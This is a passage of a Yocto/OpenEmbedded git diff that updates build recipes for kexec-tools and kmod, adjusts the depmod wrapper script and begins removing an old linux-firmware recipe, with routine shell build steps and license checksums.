-diff --git a/purgatory/arch/x86_64/Makefile b/purgatory/arch/x86_64/Makefile
-index 7300937..4af11e4 100644
---- a/purgatory/arch/x86_64/Makefile
-+++ b/purgatory/arch/x86_64/Makefile
-@@ -23,4 +23,6 @@ x86_64_PURGATORY_SRCS += purgatory/arch/i386/console-x86.c
- x86_64_PURGATORY_SRCS += purgatory/arch/i386/vga.c
- x86_64_PURGATORY_SRCS += purgatory/arch/i386/pic.c
-
--x86_64_PURGATORY_EXTRA_CFLAGS = -mcmodel=large
-+ifeq ($(SUBARCH),64)
-+ x86_64_PURGATORY_EXTRA_CFLAGS = -mcmodel=large
-+endif
diff --git a/meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch b/meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch
deleted file mode 100644
index 6811dfa597..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools/0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From b54816eff272324320c490d62dc36b27d2838732 Mon Sep 17 00:00:00 2001
-From: Quanyang Wang <quanyang.wang@windriver.com>
-Date: Mon, 16 Sep 2019 10:49:05 +0800
-Subject: [PATCH] kexec/arm: undefine __NR_kexec_file_load for arm
-
-In the kernel upstream commit 4ab65ba7a5cb
-("ARM: add kexec_file_load system call number"),
-__NR_kexec_file_load for arm has been defined to be 401.
-This results that even if kexec_file_load isn't implemented
-for arm but the function is_kexec_file_load_implemented()
-will still return true. So undef __NR_kexec_file_load for
-arm architecture.
-
-Upstream-Status: Backport
-[https://git.kernel.org/pub/scm/utils/kernel/kexec/kexec-tools.git/commit/kexec/kexec-syscall.h?id=b54816eff272324320c490d62dc36b27d2838732]
-
-Signed-off-by: Quanyang Wang <quanyang.wang@windriver.com>
-Signed-off-by: Simon Horman <horms@verge.net.au>
----
- kexec/kexec-syscall.h | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/kexec/kexec-syscall.h b/kexec/kexec-syscall.h
-index dac1c1f..92d51d3 100644
---- a/kexec/kexec-syscall.h
-+++ b/kexec/kexec-syscall.h
-@@ -56,6 +56,10 @@
- #endif
- #endif /*ifndef __NR_kexec_load*/
-
-+#ifdef __arm__
-+#undef __NR_kexec_file_load
-+#endif
-+
- #ifndef __NR_kexec_file_load
-
- #ifdef __x86_64__
---
-2.17.1
-
diff --git a/meta/recipes-kernel/kexec/kexec-tools_2.0.19.bb b/meta/recipes-kernel/kexec/kexec-tools_2.0.19.bb
deleted file mode 100644
index c3f74359f1..0000000000
--- a/meta/recipes-kernel/kexec/kexec-tools_2.0.19.bb
+++ /dev/null
@@ -1,88 +0,0 @@
-
-SUMMARY = "Kexec fast reboot tools"
-DESCRIPTION = "Kexec is a fast reboot feature that lets you reboot to a new Linux kernel"
-AUTHOR = "Eric Biederman"
-HOMEPAGE = "http://kernel.org/pub/linux/utils/kernel/kexec/"
-SECTION = "kernel/userland"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ea5bed2f60d357618ca161ad539f7c0a \
- file://kexec/kexec.c;beginline=1;endline=20;md5=af10f6ae4a8715965e648aa687ad3e09"
-DEPENDS = "zlib xz"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/kernel/kexec/kexec-tools-${PV}.tar.gz \
- file://kdump \
- file://kdump.conf \
- file://kdump.service \
- file://0001-powerpc-change-the-memory-size-limit.patch \
- file://0002-purgatory-Pass-r-directly-to-linker.patch \
- file://0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch \
- file://0004-x86_64-Add-support-to-build-kexec-tools-with-x32-ABI.patch \
- file://0005-Disable-PIE-during-link.patch \
- file://0006-kexec-arm-undefine-__NR_kexec_file_load-for-arm.patch \
-"
-
-SRC_URI[md5sum] = "052458f0a35c2a3b0d2302caa3318e9f"
-SRC_URI[sha256sum] = "913c8dee918e5855a4ba60d609371390978144b4c8d15d6446ca0057b7bc5e58"
-
-inherit autotools update-rc.d systemd
-
-export LDFLAGS = "-L${STAGING_LIBDIR}"
-EXTRA_OECONF = " --with-zlib=yes"
-
-do_compile_prepend() {
- # Remove the prepackaged config.h from the source tree as it overrides
- # the same file generated by configure and placed in the build tree
- rm -f ${S}/include/config.h
-
- # Remove the '*.d' file to make sure the recompile is OK
- for dep in `find ${B} -type f -name '*.d'`; do
- dep_no_d="`echo $dep | sed 's#.d$##'`"
- # Remove file.d when there is a file.o
- if [ -f "$dep_no_d.o" ]; then
- rm -f $dep
- fi
- done
-}
-
-do_install_append () {
- install -d ${D}${sysconfdir}/sysconfig
- install -m 0644 ${WORKDIR}/kdump.conf ${D}${sysconfdir}/sysconfig
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -D -m 0755 ${WORKDIR}/kdump ${D}${sysconfdir}/init.d/kdump
- fi
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -D -m 0755 ${WORKDIR}/kdump ${D}${libexecdir}/kdump-helper
- install -D -m 0644 ${WORKDIR}/kdump.service ${D}${systemd_unitdir}/system/kdump.service
- sed -i -e 's,@LIBEXECDIR@,${libexecdir},g' ${D}${systemd_unitdir}/system/kdump.service
- fi
-}
-
-PACKAGES =+ "kexec kdump vmcore-dmesg"
-
-ALLOW_EMPTY_${PN} = "1"
-RRECOMMENDS_${PN} = "kexec kdump vmcore-dmesg"
-
-FILES_kexec = "${sbindir}/kexec"
-FILES_kdump = "${sbindir}/kdump \
- ${sysconfdir}/sysconfig/kdump.conf \
- ${sysconfdir}/init.d/kdump \
- ${libexecdir}/kdump-helper \
- ${systemd_unitdir}/system/kdump.service \
-"
-
-FILES_vmcore-dmesg = "${sbindir}/vmcore-dmesg"
-
-INITSCRIPT_PACKAGES = "kdump"
-INITSCRIPT_NAME_kdump = "kdump"
-INITSCRIPT_PARAMS_kdump = "start 56 2 3 4 5 . stop 56 0 1 6 ."
-
-SYSTEMD_PACKAGES = "kdump"
-SYSTEMD_SERVICE_kdump = "kdump.service"
-
-SECURITY_PIE_CFLAGS_remove = "-fPIE -pie"
-
-COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|powerpc.*|mips.*)-(linux|freebsd.*)'
-
-INSANE_SKIP_${PN} = "arch"
diff --git a/meta/recipes-kernel/kexec/kexec-tools_2.0.23.bb b/meta/recipes-kernel/kexec/kexec-tools_2.0.23.bb
new file mode 100644
index 0000000000..4e58a5acbd
--- /dev/null
+++ b/meta/recipes-kernel/kexec/kexec-tools_2.0.23.bb
@@ -0,0 +1,86 @@
+
+SUMMARY = "Kexec fast reboot tools"
+DESCRIPTION = "Kexec is a fast reboot feature that lets you reboot to a new Linux kernel"
+AUTHOR = "Eric Biederman"
+HOMEPAGE = "http://kernel.org/pub/linux/utils/kernel/kexec/"
+SECTION = "kernel/userland"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=ea5bed2f60d357618ca161ad539f7c0a \
+ file://kexec/kexec.c;beginline=1;endline=20;md5=af10f6ae4a8715965e648aa687ad3e09"
+DEPENDS = "zlib xz"
+
+SRC_URI = "${KERNELORG_MIRROR}/linux/utils/kernel/kexec/kexec-tools-${PV}.tar.gz \
+ file://kdump \
+ file://kdump.conf \
+ file://kdump.service \
+ file://0001-powerpc-change-the-memory-size-limit.patch \
+ file://0002-purgatory-Pass-r-directly-to-linker.patch \
+ file://0003-kexec-ARM-Fix-add_buffer_phys_virt-align-issue.patch \
+ file://0005-Disable-PIE-during-link.patch \
+ file://0001-arm64-kexec-disabled-check-if-kaslr-seed-dtb-propert.patch \
+ "
+
+SRC_URI[sha256sum] = "c7dcc59f5b66004d9d91264324e20e0387ea263dbb449708fbf84a4e5ff7decc"
+
+inherit autotools update-rc.d systemd
+
+export LDFLAGS = "-L${STAGING_LIBDIR}"
+EXTRA_OECONF = " --with-zlib=yes"
+
+do_compile:prepend() {
+ # Remove the prepackaged config.h from the source tree as it overrides
+ # the same file generated by configure and placed in the build tree
+ rm -f ${S}/include/config.h
+
+ # Remove the '*.d' file to make sure the recompile is OK
+ for dep in `find ${B} -type f -name '*.d'`; do
+ dep_no_d="`echo $dep | sed 's#.d$##'`"
+ # Remove file.d when there is a file.o
+ if [ -f "$dep_no_d.o" ]; then
+ rm -f $dep
+ fi
+ done
+}
+
+do_install:append () {
+ install -d ${D}${sysconfdir}/sysconfig
+ install -m 0644 ${WORKDIR}/kdump.conf ${D}${sysconfdir}/sysconfig
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -D -m 0755 ${WORKDIR}/kdump ${D}${sysconfdir}/init.d/kdump
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -D -m 0755 ${WORKDIR}/kdump ${D}${libexecdir}/kdump-helper
+ install -D -m 0644 ${WORKDIR}/kdump.service ${D}${systemd_system_unitdir}/kdump.service
+ sed -i -e 's,@LIBEXECDIR@,${libexecdir},g' ${D}${systemd_system_unitdir}/kdump.service
+ fi
+}
+
+PACKAGES =+ "kexec kdump vmcore-dmesg"
+
+ALLOW_EMPTY:${PN} = "1"
+RRECOMMENDS:${PN} = "kexec kdump vmcore-dmesg"
+
+FILES:kexec = "${sbindir}/kexec"
+FILES:kdump = "${sbindir}/kdump \
+ ${sysconfdir}/sysconfig/kdump.conf \
+ ${sysconfdir}/init.d/kdump \
+ ${libexecdir}/kdump-helper \
+ ${systemd_system_unitdir}/kdump.service \
+"
+
+FILES:vmcore-dmesg = "${sbindir}/vmcore-dmesg"
+
+INITSCRIPT_PACKAGES = "kdump"
+INITSCRIPT_NAME:kdump = "kdump"
+INITSCRIPT_PARAMS:kdump = "start 56 2 3 4 5 . stop 56 0 1 6 ."
+
+SYSTEMD_PACKAGES = "kdump"
+SYSTEMD_SERVICE:kdump = "kdump.service"
+
+SECURITY_PIE_CFLAGS:remove = "-fPIE -pie"
+
+COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*|powerpc.*|mips.*)-(linux|freebsd.*)'
+
+INSANE_SKIP:${PN} = "arch"
diff --git a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
index 9a172675af..04fc14a6d2 100644
--- a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
+++ b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
@@ -32,9 +32,9 @@ fi
if [ ! -r ${PKGDATA_DIR}/kernel-depmod/System.map-\$4 ] || [ "\$kernelabi" != "\$4" ]; then
echo "Unable to read: ${PKGDATA_DIR}/kernel-depmod/System.map-\$4" >&2
- exec env depmod "\$1" "\$2" "\$3" "\$4"
+ exec env depmod -C "\$3${sysconfdir}/depmod.d" "\$1" "\$2" "\$3" "\$4"
else
- exec env depmod "\$1" "\$2" "\$3" -F "${PKGDATA_DIR}/kernel-depmod/System.map-\$4" "\$4"
+ exec env depmod -C "\$3${sysconfdir}/depmod.d" "\$1" "\$2" "\$3" -F "${PKGDATA_DIR}/kernel-depmod/System.map-\$4" "\$4"
fi
EOF
chmod +x ${D}${bindir_crossscripts}/depmodwrapper
diff --git a/meta/recipes-kernel/kmod/kmod-native_git.bb b/meta/recipes-kernel/kmod/kmod-native_git.bb
deleted file mode 100644
index f61134bbaf..0000000000
--- a/meta/recipes-kernel/kmod/kmod-native_git.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2012 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-require kmod.inc
-
-DEPENDS += "zlib-native"
-
-inherit native
-
-do_install_append (){
- for tool in depmod insmod lsmod modinfo modprobe rmmod
- do
- ln -s kmod ${D}${bindir}/$tool
- done
-}
diff --git a/meta/recipes-kernel/kmod/kmod.inc b/meta/recipes-kernel/kmod/kmod.inc
deleted file mode 100644
index 334453838e..0000000000
--- a/meta/recipes-kernel/kmod/kmod.inc
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2012 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-SUMMARY = "Tools for managing Linux kernel modules"
-DESCRIPTION = "kmod is a set of tools to handle common tasks with Linux kernel modules like \
- insert, remove, list, check properties, resolve dependencies and aliases."
-HOMEPAGE = "http://packages.profusion.mobi/kmod/"
-LICENSE = "GPL-2.0+ & LGPL-2.1+"
-LICENSE_libkmod = "LGPL-2.1+"
-SECTION = "base"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://libkmod/COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- "
-inherit autotools gtk-doc pkgconfig manpages
-
-SRCREV = "58133a96c894c043e48c74ddf0bfe8db90bac62f"
-# Lookout for PV bump too when SRCREV is changed
-PV = "26"
-
-SRC_URI = "git://git.kernel.org/pub/scm/utils/kernel/kmod/kmod.git \
- file://depmod-search.conf \
- file://0001-build-Stop-using-dolt.patch \
- file://avoid_parallel_tests.patch \
- "
-
-S = "${WORKDIR}/git"
-
-EXTRA_AUTORECONF += "--install --symlink"
-EXTRA_OECONF +=" --enable-tools --with-zlib"
-
-PACKAGECONFIG[debug] = "--enable-debug,--disable-debug"
-PACKAGECONFIG[logging] = " --enable-logging,--disable-logging"
-PACKAGECONFIG[manpages] = "--enable-manpages, --disable-manpages, libxslt-native xmlto-native"
-
-GTKDOC_DOCDIR = "${S}/libkmod/docs"
diff --git a/meta/recipes-kernel/kmod/kmod/0001-build-Stop-using-dolt.patch b/meta/recipes-kernel/kmod/kmod/0001-build-Stop-using-dolt.patch
deleted file mode 100644
index c915ad5e8a..0000000000
--- a/meta/recipes-kernel/kmod/kmod/0001-build-Stop-using-dolt.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From f8b8d7b330433511d19a936ddfc7b7d1af5490b5 Mon Sep 17 00:00:00 2001
-From: Adrian Bunk <bunk@kernel.org>
-Date: Wed, 20 Feb 2019 14:22:04 +0200
-Subject: build: Stop using dolt
-
-This does regress "make -12" from 0.7s to 0.9s on my
-Coffee Lake machine, but even on slower hardware this
-will not amount to a noticable slowdown.
-
-On the other hand using dolt can create problems for
-people doing cross-compilation, e.g. Yocto has two
-hacks just for dolt in kmod:
-https://git.yoctoproject.org/cgit/cgit.cgi/poky/tree/meta/recipes-kernel/kmod/kmod.inc?id=a17abae00785c76cfffe5381a22fb2c86b982e82
-
-Signed-off-by: Adrian Bunk <bunk@kernel.org>
-Upstream-Status: Backport
-
---- a/configure.ac
-+++ b/configure.ac
-@@ -17,7 +17,6 @@ AM_MAINTAINER_MODE([enable])
- AM_INIT_AUTOMAKE([check-news foreign 1.11 silent-rules tar-pax no-dist-gzip dist-xz subdir-objects color-tests parallel-tests])
- AM_SILENT_RULES([yes])
- LT_INIT([disable-static pic-only])
--DOLT
-
- AS_IF([test "x$enable_static" = "xyes"], [AC_MSG_ERROR([--enable-static is not supported by kmod])])
- AS_IF([test "x$enable_largefile" = "xno"], [AC_MSG_ERROR([--disable-largefile is not supported by kmod])])
-
diff --git a/meta/recipes-kernel/kmod/kmod_29.bb b/meta/recipes-kernel/kmod/kmod_29.bb
new file mode 100644
index 0000000000..91951edde1
--- /dev/null
+++ b/meta/recipes-kernel/kmod/kmod_29.bb
@@ -0,0 +1,86 @@
+# Copyright (C) 2012 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "Tools for managing Linux kernel modules"
+DESCRIPTION = "kmod is a set of tools to handle common tasks with Linux kernel modules like \
+ insert, remove, list, check properties, resolve dependencies and aliases."
+HOMEPAGE = "http://kernel.org/pub/linux/utils/kernel/kmod/"
+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
+LICENSE:libkmod = "LGPL-2.1-or-later"
+SECTION = "base"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://libkmod/COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343 \
+ file://tools/COPYING;md5=751419260aa954499f7abaabaa882bbe \
+ "
+inherit autotools bash-completion gtk-doc pkgconfig manpages update-alternatives
+
+SRCREV = "b6ecfc916a17eab8f93be5b09f4e4f845aabd3d1"
+
+SRC_URI = "git://git.kernel.org/pub/scm/utils/kernel/kmod/kmod.git;branch=master \
+ file://depmod-search.conf \
+ file://avoid_parallel_tests.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECONF += "--enable-tools"
+
+PACKAGECONFIG ??= "zlib"
+PACKAGECONFIG[debug] = "--enable-debug,--disable-debug"
+PACKAGECONFIG[logging] = " --enable-logging,--disable-logging"
+PACKAGECONFIG[manpages] = "--enable-manpages, --disable-manpages, libxslt-native xmlto-native"
+PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
+PACKAGECONFIG[xz] = "--with-xz,--without-xz,xz"
+PACKAGECONFIG[zlib] = "--with-zlib,--without-zlib,zlib"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
+
+GTKDOC_DOCDIR = "${S}/libkmod/docs"
+
+PROVIDES += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RPROVIDES:${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RCONFLICTS:${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+RREPLACES:${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+
+# to force user to remove old module-init-tools and replace them with kmod variants
+RCONFLICTS:libkmod2 += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
+
+# autotools set prefix to /usr, however we want them in /bin and /sbin
+EXTRA_OECONF += "--bindir=${base_bindir} --sbindir=${base_sbindir}"
+
+do_install:append () {
+ install -dm755 ${D}${base_bindir}
+ install -dm755 ${D}${base_sbindir}
+ # add symlinks to kmod
+ ln -rs ${D}${base_bindir}/kmod ${D}${base_bindir}/lsmod
+ for tool in insmod rmmod depmod modinfo modprobe; do
+ ln -rs ${D}${base_bindir}/kmod ${D}${base_sbindir}/${tool}
+ done
+ # configuration directories
+ install -dm755 ${D}${nonarch_base_libdir}/depmod.d
+ install -dm755 ${D}${nonarch_base_libdir}/modprobe.d
+ install -dm755 ${D}${sysconfdir}/depmod.d
+ install -dm755 ${D}${sysconfdir}/modprobe.d
+
+ # install depmod.d file for search/ dir
+ install -Dm644 "${WORKDIR}/depmod-search.conf" "${D}${nonarch_base_libdir}/depmod.d/search.conf"
+}
+
+ALTERNATIVE_PRIORITY = "70"
+
+ALTERNATIVE:kmod = "insmod modprobe rmmod modinfo bin-lsmod lsmod depmod"
+
+ALTERNATIVE_LINK_NAME[depmod] = "${base_sbindir}/depmod"
+ALTERNATIVE_LINK_NAME[insmod] = "${base_sbindir}/insmod"
+ALTERNATIVE_LINK_NAME[modprobe] = "${base_sbindir}/modprobe"
+ALTERNATIVE_LINK_NAME[rmmod] = "${base_sbindir}/rmmod"
+ALTERNATIVE_LINK_NAME[modinfo] = "${base_sbindir}/modinfo"
+ALTERNATIVE_LINK_NAME[bin-lsmod] = "${base_bindir}/lsmod"
+ALTERNATIVE_LINK_NAME[lsmod] = "${base_sbindir}/lsmod"
+ALTERNATIVE_TARGET[lsmod] = "${base_bindir}/lsmod.${BPN}"
+
+PACKAGES =+ "libkmod"
+FILES:libkmod = "${base_libdir}/libkmod*${SOLIBS} ${libdir}/libkmod*${SOLIBS}"
+FILES:${PN} += "${nonarch_base_libdir}/depmod.d ${nonarch_base_libdir}/modprobe.d"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-kernel/kmod/kmod_git.bb b/meta/recipes-kernel/kmod/kmod_git.bb
deleted file mode 100644
index bd21d2ff73..0000000000
--- a/meta/recipes-kernel/kmod/kmod_git.bb
+++ /dev/null
@@ -1,60 +0,0 @@
-# Copyright (C) 2012 Khem Raj <raj.khem@gmail.com>
-# Released under the MIT license (see COPYING.MIT for the terms)
-
-require kmod.inc
-
-DEPENDS += "zlib"
-PROVIDES += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-RPROVIDES_${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-RCONFLICTS_${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-RREPLACES_${PN} += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-
-# to force user to remove old module-init-tools and replace them with kmod variants
-RCONFLICTS_libkmod2 += "module-init-tools-insmod-static module-init-tools-depmod module-init-tools"
-
-# autotools set prefix to /usr, however we want them in /bin and /sbin
-EXTRA_OECONF += " --bindir=${base_bindir} --sbindir=${base_sbindir}"
-
-do_install_append () {
- install -dm755 ${D}${base_bindir}
- install -dm755 ${D}${base_sbindir}
- # add symlinks to kmod
- lnr ${D}${base_bindir}/kmod ${D}${base_bindir}/lsmod
- for tool in insmod rmmod depmod modinfo modprobe; do
- lnr ${D}${base_bindir}/kmod ${D}${base_sbindir}/${tool}
- done
- # configuration directories
- install -dm755 ${D}${base_libdir}/depmod.d
- install -dm755 ${D}${base_libdir}/modprobe.d
- install -dm755 ${D}${sysconfdir}/depmod.d
- install -dm755 ${D}${sysconfdir}/modprobe.d
-
- # install depmod.d file for search/ dir
- install -Dm644 "${WORKDIR}/depmod-search.conf" "${D}${base_libdir}/depmod.d/search.conf"
-}
-
-do_compile_prepend() {
- sed -i 's/ac_pwd=/#ac_pwd=/' config.status ; sed -i "/#ac_pwd=/a\ac_pwd='.'" config.status
-}
-
-inherit update-alternatives bash-completion
-
-ALTERNATIVE_PRIORITY = "70"
-
-ALTERNATIVE_kmod = "insmod modprobe rmmod modinfo bin-lsmod lsmod depmod"
-
-ALTERNATIVE_LINK_NAME[insmod] = "${base_sbindir}/insmod"
-ALTERNATIVE_LINK_NAME[modprobe] = "${base_sbindir}/modprobe"
-ALTERNATIVE_LINK_NAME[rmmod] = "${base_sbindir}/rmmod"
-ALTERNATIVE_LINK_NAME[modinfo] = "${base_sbindir}/modinfo"
-ALTERNATIVE_LINK_NAME[bin-lsmod] = "${base_bindir}/lsmod"
-
-ALTERNATIVE_LINK_NAME[lsmod] = "${base_sbindir}/lsmod"
-ALTERNATIVE_TARGET[lsmod] = "${base_bindir}/lsmod.${BPN}"
-
-ALTERNATIVE_LINK_NAME[depmod] = "${base_sbindir}/depmod"
-
-PACKAGES =+ "libkmod"
-
-FILES_libkmod = "${base_libdir}/libkmod*${SOLIBS} ${libdir}/libkmod*${SOLIBS}"
-FILES_${PN} += "${base_libdir}/depmod.d ${base_libdir}/modprobe.d"
diff --git a/meta/recipes-kernel/linux-firmware/linux-firmware_20190815.bb b/meta/recipes-kernel/linux-firmware/linux-firmware_20190815.bb
deleted file mode 100644
index d83000b64f..0000000000
--- a/meta/recipes-kernel/linux-firmware/linux-firmware_20190815.bb
+++ /dev/null
@@ -1,943 +0,0 @@
-SUMMARY = "Firmware files for use with Linux kernel"
-SECTION = "kernel"
-
-LICENSE = "\
- Firmware-Abilis \
- & Firmware-adsp_sst \
- & Firmware-agere \
- & Firmware-amdgpu \
- & Firmware-amd-ucode \
- & Firmware-amlogic_vdec \
- & Firmware-atheros_firmware \
- & Firmware-atmel \
- & Firmware-broadcom_bcm43xx \
- & Firmware-ca0132 \
- & Firmware-cavium \
- & Firmware-chelsio_firmware \
- & Firmware-cw1200 \
- & Firmware-cypress \
- & Firmware-dib0700 \
- & Firmware-e100 \
- & Firmware-ene_firmware \
- & Firmware-fw_sst_0f28 \
- & Firmware-go7007 \
- & Firmware-GPLv2 \
- & Firmware-hfi1_firmware \
- & Firmware-i2400m \
- & Firmware-i915 \
- & Firmware-ibt_firmware \
- & Firmware-it913x \
- & Firmware-iwlwifi_firmware \
- & Firmware-IntcSST2 \
- & Firmware-kaweth \
- & Firmware-Marvell \
- & Firmware-moxa \
- & Firmware-myri10ge_firmware \
- & Firmware-netronome \
- & Firmware-nvidia \
- & Firmware-OLPC \
- & Firmware-ath9k-htc \
- & Firmware-phanfw \
- & Firmware-qat \
- & Firmware-qcom \
- & Firmware-qla1280 \
- & Firmware-qla2xxx \
- & Firmware-qualcommAthos_ar3k \
- & Firmware-qualcommAthos_ath10k \
- & Firmware-r8a779x_usb3 \
- & Firmware-radeon \
- & Firmware-ralink_a_mediatek_company_firmware \
- & Firmware-ralink-firmware \
- & Firmware-rtlwifi_firmware \
- & Firmware-imx-sdma_firmware \
- & Firmware-siano \
- & Firmware-tda7706-firmware \
- & Firmware-ti-connectivity \
- & Firmware-ti-keystone \
- & Firmware-ueagle-atm4-firmware \
- & Firmware-via_vt6656 \
- & Firmware-wl1251 \
- & Firmware-xc4000 \
- & Firmware-xc5000 \
- & Firmware-xc5000c \
- & WHENCE \
-"
-
-LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
- file://LICENCE.adsp_sst;md5=615c45b91a5a4a9fe046d6ab9a2df728 \
- file://LICENCE.agere;md5=af0133de6b4a9b2522defd5f188afd31 \
- file://LICENSE.amdgpu;md5=ab515ef6495ab5c5a3b08ab2db62df11 \
- file://LICENSE.amd-ucode;md5=3c5399dc9148d7f0e1f41e34b69cf14f \
- file://LICENSE.amlogic_vdec;md5=dc44f59bf64a81643e500ad3f39a468a \
- file://LICENCE.atheros_firmware;md5=30a14c7823beedac9fa39c64fdd01a13 \
- file://LICENSE.atmel;md5=aa74ac0c60595dee4d4e239107ea77a3 \
- file://LICENCE.broadcom_bcm43xx;md5=3160c14df7228891b868060e1951dfbc \
- file://LICENCE.ca0132;md5=209b33e66ee5be0461f13d31da392198 \
- file://LICENCE.cadence;md5=009f46816f6956cfb75ede13d3e1cee0 \
- file://LICENCE.cavium;md5=c37aaffb1ebe5939b2580d073a95daea \
- file://LICENCE.chelsio_firmware;md5=819aa8c3fa453f1b258ed8d168a9d903 \
- file://LICENCE.cw1200;md5=f0f770864e7a8444a5c5aa9d12a3a7ed \
- file://LICENCE.cypress;md5=48cd9436c763bf873961f9ed7b5c147b \
- file://LICENSE.dib0700;md5=f7411825c8a555a1a3e5eab9ca773431 \
- file://LICENCE.e100;md5=ec0f84136766df159a3ae6d02acdf5a8 \
- file://LICENCE.ene_firmware;md5=ed67f0f62f8f798130c296720b7d3921 \
- file://LICENCE.fw_sst_0f28;md5=6353931c988ad52818ae733ac61cd293 \
- file://LICENCE.go7007;md5=c0bb9f6aaaba55b0529ee9b30aa66beb \
- file://GPL-2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://LICENSE.hfi1_firmware;md5=5e7b6e586ce7339d12689e49931ad444 \
- file://LICENCE.i2400m;md5=14b901969e23c41881327c0d9e4b7d36 \
- file://LICENSE.i915;md5=2b0b2e0d20984affd4490ba2cba02570 \
- file://LICENCE.ibt_firmware;md5=fdbee1ddfe0fb7ab0b2fcd6b454a366b \
- file://LICENCE.IntcSST2;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
- file://LICENCE.it913x;md5=1fbf727bfb6a949810c4dbfa7e6ce4f8 \
- file://LICENCE.iwlwifi_firmware;md5=3fd842911ea93c29cd32679aa23e1c88 \
- file://LICENCE.kaweth;md5=b1d876e562f4b3b8d391ad8395dfe03f \
- file://LICENCE.Marvell;md5=28b6ed8bd04ba105af6e4dcd6e997772 \
- file://LICENCE.mediatek;md5=7c1976b63217d76ce47d0a11d8a79cf2 \
- file://LICENCE.moxa;md5=1086614767d8ccf744a923289d3d4261 \
- file://LICENCE.myri10ge_firmware;md5=42e32fb89f6b959ca222e25ac8df8fed \
- file://LICENCE.Netronome;md5=4add08f2577086d44447996503cddf5f \
- file://LICENCE.nvidia;md5=4428a922ed3ba2ceec95f076a488ce07 \
- file://LICENCE.OLPC;md5=5b917f9d8c061991be4f6f5f108719cd \
- file://LICENCE.open-ath9k-htc-firmware;md5=1b33c9f4d17bc4d457bdb23727046837 \
- file://LICENCE.phanfw;md5=954dcec0e051f9409812b561ea743bfa \
- file://LICENCE.qat_firmware;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
- file://LICENSE.qcom;md5=164e3362a538eb11d3ac51e8e134294b \
- file://LICENCE.qla1280;md5=d6895732e622d950609093223a2c4f5d \
- file://LICENCE.qla2xxx;md5=505855e921b75f1be4a437ad9b79dff0 \
- file://LICENSE.QualcommAtheros_ar3k;md5=b5fe244fb2b532311de1472a3bc06da5 \
- file://LICENSE.QualcommAtheros_ath10k;md5=cb42b686ee5f5cb890275e4321db60a8 \
- file://LICENCE.r8a779x_usb3;md5=4c1671656153025d7076105a5da7e498 \
- file://LICENSE.radeon;md5=68ec28bacb3613200bca44f404c69b16 \
- file://LICENCE.ralink_a_mediatek_company_firmware;md5=728f1a85fd53fd67fa8d7afb080bc435 \
- file://LICENCE.ralink-firmware.txt;md5=ab2c269277c45476fb449673911a2dfd \
- file://LICENCE.rtlwifi_firmware.txt;md5=00d06cfd3eddd5a2698948ead2ad54a5 \
- file://LICENSE.sdma_firmware;md5=51e8c19ecc2270f4b8ea30341ad63ce9 \
- file://LICENCE.siano;md5=4556c1bf830067f12ca151ad953ec2a5 \
- file://LICENCE.tda7706-firmware.txt;md5=835997cf5e3c131d0dddd695c7d9103e \
- file://LICENCE.ti-connectivity;md5=c5e02be633f1499c109d1652514d85ec \
- file://LICENCE.ti-keystone;md5=3a86335d32864b0bef996bee26cc0f2c \
